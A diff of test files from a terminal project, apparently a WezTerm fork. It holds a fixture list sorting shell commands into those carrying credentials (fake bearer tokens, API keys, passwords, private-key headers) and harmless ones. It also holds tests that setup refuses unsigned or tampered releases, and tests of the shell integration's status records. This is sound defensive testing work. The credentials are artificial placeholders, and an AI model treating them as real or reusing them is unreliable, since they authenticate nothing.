- git clone https://example.org/repo.git
|
||||
- git clone git@example.org:alice/repo.git
|
||||
- git clone ssh://git@example.org:2222/alice/repo.git
|
||||
- psql postgres://app@db.example.org/shop
|
||||
- scp file.txt alice@example.org:/srv/www/
|
||||
- rsync -av src/ alice@example.org:backup/
|
||||
- ssh alice@example.org
|
||||
- curl http://localhost:8080/health
|
||||
- curl "https://example.org/search?q=a:b@c"
|
||||
- skopeo copy docker://alpine:latest dir:out
|
||||
- curl http://[::1]:8080/health
|
||||
- curl http://localhost:80
|
||||
- psql postgres://app
|
||||
+ psql postgres://app:hunter2
|
||||
+ git clone https://alice:hunt
|
||||
|
||||
# -- headers, fields and queries
|
||||
+ curl -H "Authorization: Bearer abc123def456" https://example.org
|
||||
+ curl -H 'Authorization: Basic YWxpY2U6aHVudGVyMg==' https://example.org
|
||||
+ curl -H "authorization: token abc123" https://example.org
|
||||
+ curl -H "X-Api-Key: abc123" https://example.org
|
||||
+ curl -H "X-Api-Key:abc123" https://example.org
|
||||
+ curl -H "X-Auth-Token: abc123" https://example.org
|
||||
+ http example.org "Authorization:Bearer abc123def456"
|
||||
+ curl -d '{"password": "hunter2"}' https://example.org/login
|
||||
+ curl -d '{"user":"alice","password":"hunter2"}' https://example.org/login
|
||||
+ curl -d "username=alice&password=hunter2" https://example.org/login
|
||||
+ curl "https://example.org/api?access_token=abc123"
|
||||
+ curl "https://example.org/api?api_key=abc123&q=x"
|
||||
+ echo "token: abc123" >> config.yaml
|
||||
+ websocat "wss://example.org/socket" -H "Sec-Token: abc123"
|
||||
- curl -H "Authorization: Bearer $TOKEN" https://example.org
|
||||
- curl -H "Accept: application/json" https://example.org
|
||||
- curl -H "Content-Type: application/json" -d '{"q":"x"}' https://example.org
|
||||
- curl -H "X-Api-Key: $API_KEY" https://example.org
|
||||
- curl -d "username=alice" https://example.org/login
|
||||
- echo "the bearer of news"
|
||||
- echo "basic usage: run make"
|
||||
- docker pull registry.example.org/token-service:latest
|
||||
- scp notes.txt tokenhost:/tmp/
|
||||
- kubectl logs deploy/auth-service
|
||||
- systemctl status auth.service
|
||||
|
||||
# -- keys by their well-known beginning
|
||||
+ export OPENAI=sk-abcdefghijklmnopqrstuvwx
|
||||
+ echo sk-proj-abcdefghijklmnopqrstuvwx
|
||||
+ echo sk-proj-ab
|
||||
+ tool login sk-ant-x
|
||||
+ tool login ghp_abcdefgh
|
||||
+ tool login glpat-a
|
||||
+ git remote set-url origin https://ghp_abcdefghij0123456789@example.org/a/b
|
||||
+ gh api -H x: ghp_abcdefghij0123456789
|
||||
+ echo github_pat_abcdefghij0123456789
|
||||
+ curl --header "PRIVATE-TOKEN: glpat-abcdefghij012345" https://example.org
|
||||
+ slack-cli send xoxb-not-a-real-one "hello"
|
||||
+ aws configure set aws_access_key_id AKIAEXAMPLEEXAMPLE00
|
||||
+ echo "-----BEGIN OPENSSH PRIVATE KEY-----" > key
|
||||
+ printf '%s' '-----BEGIN RSA PRIVATE KEY-----'
|
||||
- task-runner --list
|
||||
- pip install scikit-learn
|
||||
- echo sk-short
|
||||
- echo ghp_abc
|
||||
- brew install ask-cli
|
||||
- ls disk-usage-report-2024-final-version.txt
|
||||
- echo "-----BEGIN CERTIFICATE-----"
|
||||
- echo "-----BEGIN PGP PUBLIC KEY BLOCK-----"
|
||||
- git checkout ghp-pages
|
||||
|
||||
# -- a long word that looks random
|
||||
+ deploy --with Zx9Qv7Lm2Tp4Rk8Wn3Hs6Yd1Bc5Fg0JeXAMPLEab
|
||||
+ echo eyJhbGciOiJub25lIn0.eyJzdWIiOiJub2JvZHkiLCJ4IjoxMjM0NX0.c2lnbmF0dXJl
|
||||
+ curl https://example.org/hook/T0aB1cD2eF3gH4iJ5kL6mN7oP8qR9sT0uV
|
||||
- git checkout 3f2a9c1b7d4e8f6a5b0c9d8e7f6a5b4c3d2e1f0a
|
||||
- git show 1026152aa3f2a9c1b7d4e8f6a5b0c9d8e7f6a5b4
|
||||
- docker pull nginx@sha256:3f2a9c1b7d4e8f6a5b0c9d8e7f6a5b4c3d2e1f0a3f2a9c1b7d4e8f6a5b0c9d8e
|
||||
- uuidgen; echo 123e4567-e89b-12d3-a456-426614174000
|
||||
- cd /home/alice/Projects/MyApp2/build/release/x86_64
|
||||
- cat ~/Documents/Reports/Annual-Report-2024/Summary.md
|
||||
- kubectl logs my-service-7d9f8b6c5d-x2k4j --tail=100
|
||||
- java -cp build/libs/MyApplication-1.0-SNAPSHOT.jar com.example.Main
|
||||
- cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=/usr ..
|
||||
- ./configure --prefix=/usr --enable-shared --with-openssl
|
||||
- npm install --save-dev @types/node typescript eslint prettier
|
||||
- wget https://example.org/downloads/Package-Installer-v2.14.3-linux-x86_64.tar.gz
|
||||
|
||||
# -- ordinary commands, of the kind typed all day
|
||||
- ls -la
|
||||
- cd ..
|
||||
- git status
|
||||
- git add -p
|
||||
- git commit -m "fix the key handling in the token parser"
|
||||
- git push origin main
|
||||
- git log --oneline -20
|
||||
- git diff HEAD~1 -- src/auth.rs
|
||||
- git rebase -i HEAD~3
|
||||
- git stash pop
|
||||
- cargo build --release
|
||||
- cargo test -p llembas-line
|
||||
- npm run build
|
||||
- npm test -- --watch
|
||||
- make -j8 test
|
||||
- python3 -m venv .venv
|
||||
- python manage.py migrate
|
||||
- pip install -r requirements.txt
|
||||
- docker ps -a
|
||||
- docker compose up -d
|
||||
- docker exec -it app bash
|
||||
- docker build -t app:latest .
|
||||
- kubectl get pods -n prod
|
||||
- kubectl apply -f deploy.yaml
|
||||
- ssh example.org
|
||||
- ssh-add ~/.ssh/id_ed25519
|
||||
- scp a.txt example.org:
|
||||
- rsync -av --delete src/ dst/
|
||||
- tar -czf backup.tar.gz src/
|
||||
- find . -name '*.rs' -newer Cargo.toml
|
||||
- grep -rn "TODO" src/
|
||||
- sed -i 's/foo/bar/g' file.txt
|
||||
- awk -F: '{print $1}' /etc/passwd
|
||||
- sudo apt update && sudo apt upgrade -y
|
||||
- sudo systemctl restart nginx
|
||||
- journalctl -u nginx -f
|
||||
- tail -f /var/log/syslog
|
||||
- ps aux | grep nginx
|
||||
- kill -9 12345
|
||||
- df -h
|
||||
- du -sh *
|
||||
- htop
|
||||
- vim src/main.rs
|
||||
- nvim +42 README.md
|
||||
- less /etc/hosts
|
||||
- cat package.json | jq .version
|
||||
- curl -fsSL https://example.org/install.sh -o install.sh
|
||||
- curl -X POST -d '{"name":"x"}' https://example.org/items
|
||||
- ping -c 3 example.org
|
||||
- dig +short example.org
|
||||
- openssl x509 -in cert.pem -noout -dates
|
||||
- openssl genrsa -out key.pem 4096
|
||||
- gpg --list-keys
|
||||
- chmod 600 ~/.ssh/authorized_keys
|
||||
- chown -R www-data:www-data /srv/www
|
||||
- ln -s ../shared/config config
|
||||
- echo "hello world" > out.txt
|
||||
- date +%Y-%m-%d
|
||||
- history | tail
|
||||
- which python3
|
||||
- man tar
|
||||
- for f in *.txt; do wc -l "$f"; done
|
||||
- xmodmap -e "keycode 66 = Escape"
|
||||
- setxkbmap -option caps:escape
|
||||
- lembas login
|
||||
- terraform plan -out=tfplan
|
||||
- ansible-playbook -i hosts site.yml --ask-vault-pass
|
||||
- psql -h db.example.org -U app shop
|
||||
- sqlite3 app.db "select count(*) from users"
|
||||
Executable
+126
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env bash
|
||||
# The set-up program without a network: what it says when everything is there, what it would do
|
||||
# when nothing is, and that a release that is not signed by the release key is refused.
|
||||
#
|
||||
# llembas/tests/setup-test.sh
|
||||
set -uo pipefail
|
||||
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
||||
SETUP="$ROOT/llembas/setup/llembas-term-setup"
|
||||
work="$(mktemp -d)"
|
||||
trap 'rm -rf "${work:?}"' EXIT
|
||||
failed=0
|
||||
ok() { echo "ok $1"; }
|
||||
bad() {
|
||||
echo "FAIL $1"
|
||||
[ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=setup::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ')"
|
||||
failed=1
|
||||
}
|
||||
expect() { if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi; }
|
||||
refuse() { if printf '%s' "$2" | grep -Eq -- "$3"; then bad "$1: found /$3/ in: $2"; else ok "$1"; fi; }
|
||||
# A home with nothing in it, and only the system's tools on PATH.
|
||||
run() { # home, then the program's arguments and environment through env
|
||||
local home="$1"
|
||||
shift
|
||||
env -i PATH=/usr/bin:/bin HOME="$home" LANG=C.UTF-8 "$@" </dev/null 2>&1
|
||||
}
|
||||
|
||||
mkdir -p "$work/empty" "$work/full/.local/bin"
|
||||
printf '#!/bin/sh\necho 2.0.0-beta.18\n' >"$work/full/.local/bin/lembas"
|
||||
printf '#!/bin/sh\n' >"$work/full/.local/bin/llembas-ide"
|
||||
chmod +x "$work/full/.local/bin/lembas" "$work/full/.local/bin/llembas-ide"
|
||||
|
||||
out="$(run "$work/full" bash "$SETUP" --yes)"
|
||||
expect "what is installed is found in ~/.local/bin, off PATH" "$out" "the LLeMbas CLI is installed: $work/full/.local/bin/lembas \(2\.0\.0-beta\.18\)"
|
||||
expect "and LLeMbas IDE" "$out" "LLeMbas IDE is installed: $work/full/.local/bin/llembas-ide"
|
||||
expect "it says how to log in" "$out" "lembas login"
|
||||
refuse "and installs nothing" "$out" "installing|would find"
|
||||
|
||||
out="$(run "$work/empty" bash "$SETUP" --dry-run)"
|
||||
expect "dry run: the CLI would be installed" "$out" "LLeMbas CLI \(lembas\) is not installed"
|
||||
expect "dry run: from the stable releases by default" "$out" "would find the newest stable release of LLeMbas/LLeMbas-CLI"
|
||||
expect "dry run: the IDE too" "$out" "would find the newest stable release of LLeMbas/LLeMbas-IDE"
|
||||
if [ -z "$(find "$work/empty" -mindepth 1 | head -n1)" ]; then ok "a dry run writes nothing"; else bad "a dry run wrote: $(find "$work/empty" -mindepth 1 | head)"; fi
|
||||
|
||||
out="$(run "$work/empty" LLEMBAS_TERM=1.0.0-beta.3 bash "$SETUP" --dry-run --no-ide)"
|
||||
expect "a beta terminal asks for the betas" "$out" "newest beta release of LLeMbas/LLeMbas-CLI"
|
||||
refuse "--no-ide leaves the IDE out" "$out" "LLeMbas-IDE"
|
||||
|
||||
out="$(run "$work/empty" bash "$SETUP")"
|
||||
expect "nobody to answer: nothing is installed" "$out" "not installed$"
|
||||
if [ -z "$(find "$work/empty" -mindepth 1 | head -n1)" ]; then ok "and nothing is written"; else bad "written without an answer: $(find "$work/empty" -mindepth 1 | head)"; fi
|
||||
|
||||
# As root: refused, before anything is looked at (`id` stands in for root here).
|
||||
mkdir -p "$work/root/bin" "$work/rootless"
|
||||
printf '#!/bin/sh\necho 0\n' >"$work/root/bin/id"
|
||||
chmod +x "$work/root/bin/id"
|
||||
out="$(env -i PATH="$work/root/bin:/usr/bin:/bin" HOME="$work/rootless" LANG=C.UTF-8 bash "$SETUP" --yes </dev/null 2>&1)"
|
||||
expect "it refuses to run as root" "$out" "not as root"
|
||||
if [ -z "$(find "$work/rootless" -mindepth 1 | head -n1)" ]; then ok "and writes nothing"; else bad "as root it wrote: $(find "$work/rootless" -mindepth 1 | head)"; fi
|
||||
|
||||
# The shell integration's line of the terminal's old name in an rc file: the new line is said,
|
||||
# and the file is not touched.
|
||||
mkdir -p "$work/rc/.local/bin"
|
||||
cp "$work/full/.local/bin/lembas" "$work/full/.local/bin/llembas-ide" "$work/rc/.local/bin/"
|
||||
# shellcheck disable=SC2016 # as a person wrote it in their rc file
|
||||
printf '%s\n' 'export EDITOR=vi' '[ -n "$LLEMBAS_TTY" ] && . /usr/share/llembas-tty/shell/llembas-tty.sh' >"$work/rc/.zshrc"
|
||||
before="$(sha256sum <"$work/rc/.zshrc")"
|
||||
out="$(run "$work/rc" bash "$SETUP" --yes)"
|
||||
expect "an rc file with the old name's line is named" "$out" "$work/rc/\.zshrc still has the shell integration's line"
|
||||
# shellcheck disable=SC2016 # a pattern for the line as it is printed
|
||||
expect "with the line that replaces it" "$out" '\[ -n "\$LLEMBAS_TERM" \] && \. /.*share/llembas-term/shell/llembas-term\.sh'
|
||||
if [ "$(sha256sum <"$work/rc/.zshrc")" = "$before" ]; then ok "and the rc file is not changed"; else bad "the rc file was changed"; fi
|
||||
out="$(run "$work/full" bash "$SETUP" --yes)"
|
||||
refuse "no rc file with it: nothing is said of it" "$out" "old name"
|
||||
|
||||
# A release on this machine: a listing, an installer that would leave a mark, and sums.
|
||||
rel="$work/forge/LLeMbas/LLeMbas-CLI/releases/download/v9.9.9"
|
||||
mkdir -p "$rel" "$work/api/repos/LLeMbas/LLeMbas-CLI"
|
||||
printf '[{"tag_name": "v9.9.9-beta.1", "prerelease": true}, {"tag_name": "v9.9.9", "prerelease": false}]' >"$work/api/repos/LLeMbas/LLeMbas-CLI/releases"
|
||||
# shellcheck disable=SC2016 # written into the stand-in installer as it is
|
||||
printf '#!/bin/sh\necho "ran with ref=$LEMBAS_REF" > "$HOME/ran"\n' >"$rel/get.sh"
|
||||
(cd "$rel" && sha256sum get.sh >SHA256SUMS)
|
||||
ssh-keygen -q -t ed25519 -N '' -C test -f "$work/key" >/dev/null
|
||||
ssh-keygen -q -t ed25519 -N '' -C other -f "$work/other" >/dev/null
|
||||
local_forge=(LLEMBAS_SETUP_FORGE="file://$work/forge" LLEMBAS_SETUP_API="file://$work/api" LLEMBAS_SETUP_PUBKEY="$(cut -d' ' -f1,2 "$work/key.pub")")
|
||||
|
||||
mkdir -p "$work/h1" "$work/h2" "$work/h3" "$work/h4"
|
||||
out="$(run "$work/h1" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
|
||||
expect "an unsigned release is refused" "$out" "is not signed \(no SHA256SUMS.sig\)"
|
||||
if [ ! -e "$work/h1/ran" ]; then ok "and its installer does not run"; else bad "an unsigned installer ran"; fi
|
||||
|
||||
ssh-keygen -Y sign -q -f "$work/other" -n lembas-release "$rel/SHA256SUMS"
|
||||
out="$(run "$work/h2" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
|
||||
expect "a release signed with another key is refused" "$out" "not signed by the LLeMbas release key"
|
||||
if [ ! -e "$work/h2/ran" ]; then ok "and its installer does not run"; else bad "an installer signed by another key ran"; fi
|
||||
|
||||
rm -f "$rel/SHA256SUMS.sig"
|
||||
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
|
||||
printf '\n# changed after signing\n' >>"$rel/get.sh"
|
||||
out="$(run "$work/h3" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
|
||||
expect "an installer that does not match the signed sums is refused" "$out" "does not match its SHA256SUMS"
|
||||
if [ ! -e "$work/h3/ran" ]; then ok "and does not run"; else bad "a changed installer ran"; fi
|
||||
|
||||
# Signed sums of another release, served under this tag (a signed downgrade): refused when the
|
||||
# sums name their release.
|
||||
(cd "$rel" && { echo '# lembas 9.9.8'; sha256sum get.sh; } >SHA256SUMS) && rm -f "$rel/SHA256SUMS.sig"
|
||||
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
|
||||
mkdir -p "$work/h5"
|
||||
out="$(run "$work/h5" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
|
||||
expect "signed sums of another release under this tag are refused" "$out" "is of another release \(it says: lembas 9\.9\.8\)"
|
||||
if [ ! -e "$work/h5/ran" ]; then ok "and its installer does not run"; else bad "the installer of another release ran"; fi
|
||||
|
||||
(cd "$rel" && { echo '# lembas 9.9.9'; sha256sum get.sh; } >SHA256SUMS) && rm -f "$rel/SHA256SUMS.sig"
|
||||
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
|
||||
out="$(run "$work/h4" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
|
||||
expect "a signed, matching release is installed" "$out" "LLeMbas CLI v9\.9\.9: signature good, installing"
|
||||
refuse "sums that name this release: nothing said of it" "$out" "does not name its release"
|
||||
expect "the stable channel takes the release, not the beta beside it" "$(cat "$work/h4/ran" 2>/dev/null)" "^ran with ref=v9\.9\.9$"
|
||||
|
||||
(cd "$rel" && sha256sum get.sh >SHA256SUMS) && rm -f "$rel/SHA256SUMS.sig" "$work/h4/ran"
|
||||
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
|
||||
out="$(run "$work/h4" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
|
||||
expect "sums that do not name a release yet: installed, and said" "$out" "does not name its release"
|
||||
expect "and it ran" "$(cat "$work/h4/ran" 2>/dev/null)" "^ran with ref=v9\.9\.9$"
|
||||
|
||||
[ "$failed" -eq 0 ] && echo "setup: all passed"
|
||||
exit "$failed"
|
||||
Executable
+101
@@ -0,0 +1,101 @@
|
||||
#!/usr/bin/env bash
|
||||
# The shell integration's command record (llembas/shell/llembas-term.sh), in a real interactive
|
||||
# bash and zsh on a terminal of their own (script(1): bash tells a command from an empty line
|
||||
# only on a terminal): the file and the user variable, what counts as a command, and that
|
||||
# nothing at all happens outside LLeMbas TERM.
|
||||
#
|
||||
# llembas/tests/shell-test.sh
|
||||
set -uo pipefail
|
||||
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
||||
work="$(mktemp -d)"
|
||||
trap 'rm -rf "${work:?}"' EXIT
|
||||
failed=0
|
||||
ok() { echo "ok $1"; }
|
||||
bad() {
|
||||
echo "FAIL $1"
|
||||
[ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=shell::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ' | sed 's/%/%25/g')"
|
||||
failed=1
|
||||
}
|
||||
expect() { if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi; }
|
||||
|
||||
# run <name> <shell words…>: the lines on stdin are typed into that shell, in a home and a
|
||||
# runtime directory of its own. Extra variables come through EXTRA (one VAR=value a word).
|
||||
run() {
|
||||
local name="$1"
|
||||
shift
|
||||
mkdir -p "$work/$name/run" "$work/$name/home"
|
||||
# shellcheck disable=SC2086 # EXTRA and SHELL_DIR_OFF are words on purpose
|
||||
# The lines are typed slowly enough for each prompt to be there first.
|
||||
while IFS= read -r line || [ -n "$line" ]; do
|
||||
printf '%s\n' "$line"
|
||||
sleep 0.3
|
||||
done | env -i PATH=/usr/bin:/bin TERM=xterm-256color HOME="$work/$name/home" XDG_RUNTIME_DIR="$work/$name/run" \
|
||||
LLEMBAS_TERM_SHELL_DIR="$ROOT/assets/shell-integration" ${EXTRA-} ${SHELL_DIR_OFF-} \
|
||||
script -qec "$*" /dev/null 2>&1 | cat -v
|
||||
}
|
||||
# field <name> <record text>: the value of one key of a record.
|
||||
field() { printf '%s\n' "$2" | sed -n "s/^$1=//p" | head -n 1; }
|
||||
# The records in what a shell printed (the user variable, decoded), one a line, each as
|
||||
# "<seq> <state> <exit or -> <ran or ->".
|
||||
records() {
|
||||
printf '%s\n' "$1" | grep -o 'SetUserVar=llembas_term_status=[A-Za-z0-9+/=]*' | while IFS= read -r v; do
|
||||
text="$(printf '%s\n' "${v#SetUserVar=llembas_term_status=}" | base64 -d)"
|
||||
e="$(field exit "$text")"
|
||||
r="$(field ran "$text")"
|
||||
printf '%s %s %s %s\n' "$(field seq "$text")" "$(field state "$text")" "${e:--}" "${r:--}"
|
||||
done
|
||||
}
|
||||
|
||||
for shell in bash zsh; do
|
||||
command -v "$shell" >/dev/null 2>&1 || { echo "skip $shell: not here"; continue; }
|
||||
case "$shell" in
|
||||
bash) words=(bash --norc --noprofile -i) ;;
|
||||
*) words=(zsh -f -i +Z) ;;
|
||||
esac
|
||||
|
||||
# A first prompt, a command that works, an empty line, one that fails with 3 and is all a
|
||||
# subshell (which bash-preexec alone would not see).
|
||||
script=". '$ROOT/llembas/shell/llembas-term.sh'"$'\ntrue\n\n(exit 3)\nexit\n'
|
||||
want='^1 prompt - -,1 running - -,2 prompt 0 1,3 prompt 0 -,3 running 0 -,4 prompt 3 1,4 running 3 -,$'
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=7" run "$shell-in" "${words[@]}")"
|
||||
file="$work/$shell-in/run/llembas-term/pane-7.status"
|
||||
expect "$shell: a record at every prompt and when a command starts; an empty line ran nothing" "$(records "$out" | tr '\n' ',')" "$want"
|
||||
text="$(cat "$file" 2>/dev/null)"
|
||||
expect "$shell: the file starts with the format's line" "$(printf '%s\n' "$text" | head -n 1)" '^llembas-term-status=1$'
|
||||
expect "$shell: the file holds the last record (exit, as it was typed, started)" "$(field seq "$text") $(field state "$text") $(field exit "$text")" '^4 running 3$'
|
||||
expect "$shell: the record names the shell, its process and its directory" "$(field shell "$text") $(field pid "$text") $(field id "$text") $(field cwd "$text") $(field time "$text")" "^$shell [0-9]+ [0-9]+\.[0-9]+ /.* [0-9]{9,}\$"
|
||||
expect "$shell: the file is the person's alone" "$(stat -c %a "$file" 2>/dev/null)" '^600$'
|
||||
expect "$shell: nothing is left beside the file" "$(cd "$work/$shell-in/run/llembas-term" 2>/dev/null && find . -type f | sort | tr '\n' ' ')" '^\./pane-7\.status $'
|
||||
expect "$shell: the exit status still reaches the prompt" "$(printf '%s' ". '$ROOT/llembas/shell/llembas-term.sh'"$'\n(exit 5)\necho "status=$?"\nexit\n' | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=7" run "$shell-st" "${words[@]}")" 'status=5'
|
||||
|
||||
# The directory the terminal names is where the file goes; else the state directory.
|
||||
mkdir -p "$work/$shell-dir/elsewhere"
|
||||
printf '%s' "$script" | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=12 LLEMBAS_TERM_STATUS_DIR=$work/$shell-dir/elsewhere" run "$shell-dir" "${words[@]}" >/dev/null
|
||||
expect "$shell: in LLEMBAS_TERM_STATUS_DIR" "$(field seq "$(cat "$work/$shell-dir/elsewhere/pane-12.status" 2>/dev/null)")" '^4$'
|
||||
printf '%s' "$script" | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=3 XDG_RUNTIME_DIR= XDG_STATE_HOME=$work/$shell-state/state" run "$shell-state" "${words[@]}" >/dev/null
|
||||
expect "$shell: with no runtime directory, in the state directory" "$(field seq "$(cat "$work/$shell-state/state/llembas-term/pane-3.status" 2>/dev/null)")" '^4$'
|
||||
|
||||
# A pane id that is not a number names no file; the variable is still set.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=../x" run "$shell-bad" "${words[@]}")"
|
||||
expect "$shell: a pane id that is not a number writes no file" "$(find "$work/$shell-bad/run" -type f | wc -l)" '^0$'
|
||||
expect "$shell: and the variable is still set" "$(records "$out" | tr '\n' ',')" "$want"
|
||||
|
||||
# Over SSH the file would be on the wrong machine: the variable alone, naming the machine.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=7 SSH_CONNECTION=x HOSTNAME=workstation HOST=workstation" run "$shell-ssh" "${words[@]}")"
|
||||
one="$(printf '%s\n' "$out" | grep -o 'SetUserVar=llembas_term_status=[A-Za-z0-9+/=]*' | head -n 1 | sed 's/.*=llembas_term_status=//' | base64 -d)"
|
||||
expect "$shell: over SSH no file is written" "$(find "$work/$shell-ssh/run" -type f | wc -l)" '^0$'
|
||||
expect "$shell: over SSH the record names the machine and no process" "host=$(field host "$one") pid=$(field pid "$one")" '^host=workstation pid=$'
|
||||
|
||||
# Without WezTerm's script (no command marks at all), the record is still kept.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=7" SHELL_DIR_OFF="LLEMBAS_TERM_SHELL_DIR=$work/nowhere" run "$shell-alone" "${words[@]}")"
|
||||
expect "$shell: kept without the command marks too" "$(records "$out" | tr '\n' ',')" "$want"
|
||||
|
||||
# Turned off, and outside LLeMbas TERM: nothing.
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TERM=1.0.0 LLEMBAS_TERM_PANE=7 LLEMBAS_TERM_SKIP_STATUS=1" run "$shell-off" "${words[@]}")"
|
||||
expect "$shell: LLEMBAS_TERM_SKIP_STATUS=1 turns it off" "$(records "$out" | wc -l) $(find "$work/$shell-off/run" -type f | wc -l)" '^0 0$'
|
||||
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TERM_PANE=7" run "$shell-out" "${words[@]}")"
|
||||
expect "$shell: outside LLeMbas TERM nothing is written and nothing is printed" "$(printf '%s' "$out" | grep -c 'SetUserVar\|133;') $(find "$work/$shell-out/run" -type f | wc -l)" '^0 0$'
|
||||
done
|
||||
|
||||
[ "$failed" -eq 0 ] && echo "shell: all passed"
|
||||
exit "$failed"
|
||||
+115
-18
@@ -2,18 +2,18 @@
|
||||
# Smoke test of built binaries, with no display: the identity (names, directories, variables),
|
||||
# the built-in LLeMbas layer, and the `cli` commands the LLeMbas CLI drives a pane with.
|
||||
#
|
||||
# llembas/tests/smoke.sh <dir with llembas-tty, llembas-tty-mux-server>
|
||||
# llembas/tests/smoke.sh <dir with llembas-term, llembas-term-mux-server>
|
||||
#
|
||||
# Starts a headless mux server in a scratch HOME, talks to it, and stops it. Nothing of the
|
||||
# person's own is read or written. CI runs it on what it has just built.
|
||||
set -uo pipefail
|
||||
BIN="$(cd "${1:?usage: smoke.sh <dir with the binaries>}" && pwd)"
|
||||
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
||||
TTY="${SMOKE_TTY:-$BIN/llembas-tty}"
|
||||
MUX="${SMOKE_MUX:-$BIN/llembas-tty-mux-server}"
|
||||
TERMINAL="${SMOKE_TERMINAL:-$BIN/llembas-term}"
|
||||
MUX="${SMOKE_MUX:-$BIN/llembas-term-mux-server}"
|
||||
# The names under test; SMOKE_PREFIX=WEZTERM runs the same steps against upstream's binaries.
|
||||
P="${SMOKE_PREFIX:-LLEMBAS_TTY}"
|
||||
APPDIR="${SMOKE_APPDIR:-llembas-tty}"
|
||||
P="${SMOKE_PREFIX:-LLEMBAS_TERM}"
|
||||
APPDIR="${SMOKE_APPDIR:-llembas-term}"
|
||||
|
||||
work="$(mktemp -d)"
|
||||
pid=""
|
||||
@@ -37,16 +37,19 @@ expect() { # name, text, pattern
|
||||
}
|
||||
|
||||
version="$(tr -d '[:space:]' < "$ROOT/VERSION")"
|
||||
if [ "$P" = LLEMBAS_TTY ]; then
|
||||
expect "--version names us and our version" "$(clean "$TTY" --version)" "^llembas-tty ${version//./\\.} \(based on WezTerm .+\)$"
|
||||
expect "mux server --version" "$(clean "$MUX" --version)" "^llembas-tty-mux-server ${version//./\\.}"
|
||||
if [ "$P" = LLEMBAS_TERM ]; then
|
||||
expect "--version names us and our version" "$(clean "$TERMINAL" --version)" "^llembas-term ${version//./\\.} \(based on WezTerm .+\)$"
|
||||
expect "mux server --version" "$(clean "$MUX" --version)" "^llembas-term-mux-server ${version//./\\.}"
|
||||
fi
|
||||
|
||||
# A WezTerm that started us must not be passed on, nor talked to.
|
||||
# A WezTerm that started us must not be passed on, nor talked to; nor what this terminal
|
||||
# exported under its earlier name (LLEMBAS_TTY…, up to 1.0.0-beta.5), when one of those started us.
|
||||
# (exec, so that the process id we keep is the server's own and stopping it stops the server)
|
||||
(
|
||||
exec env -i PATH=/usr/bin:/bin HOME="$work/home" XDG_RUNTIME_DIR="$work/run" XDG_CONFIG_HOME="$work/cfg" \
|
||||
WEZTERM_PANE=77 WEZTERM_UNIX_SOCKET="$work/run/not-ours" WEZTERM_CONFIG_FILE="$work/nope.lua" \
|
||||
LLEMBAS_TTY=1.0.0-beta.5 LLEMBAS_TTY_PANE=77 LLEMBAS_TTY_EXECUTABLE=/nonexistent/old LLEMBAS_TTY_STATUS_DIR="$work/run/old" \
|
||||
LLEMBAS_TTY_UNIX_SOCKET="$work/run/not-ours" LLEMBAS_TTY_AUTOCOMPLETE=1 LLEMBAS_TTY_CLI=/nonexistent/lembas \
|
||||
"$MUX"
|
||||
) > "$work/server.txt" 2>&1 &
|
||||
pid=$!
|
||||
@@ -58,9 +61,9 @@ for _ in $(seq 40); do
|
||||
done
|
||||
if [ -S "$sock" ]; then ok "the server listens in its own runtime directory ($APPDIR)"; else bad "no socket at $sock; the server said: $(tail -c 600 "$work/server.txt"); in the runtime directory: $(cd "$work/run" && find . | head -20 | tr '\n' ' ')"; cat "$work/server.txt"; exit 1; fi
|
||||
|
||||
cli() { clean "$TTY" cli --no-auto-start "$@"; }
|
||||
cli() { clean "$TERMINAL" cli --no-auto-start "$@"; }
|
||||
# shellcheck disable=SC2016 # the pane's shell expands these, not this one
|
||||
pane="$(cli spawn --new-window -- sh -c 'printf "%s\n" "id=[$'"$P"'_PANE]" "tty=[$LLEMBAS_TTY]" "exe=[$'"$P"'_EXECUTABLE]" "sock=[$'"$P"'_UNIX_SOCKET]" "term=[$TERM_PROGRAM]" "wez=[${WEZTERM_PANE-unset}/${WEZTERM_UNIX_SOCKET-unset}]"; exec cat')"
|
||||
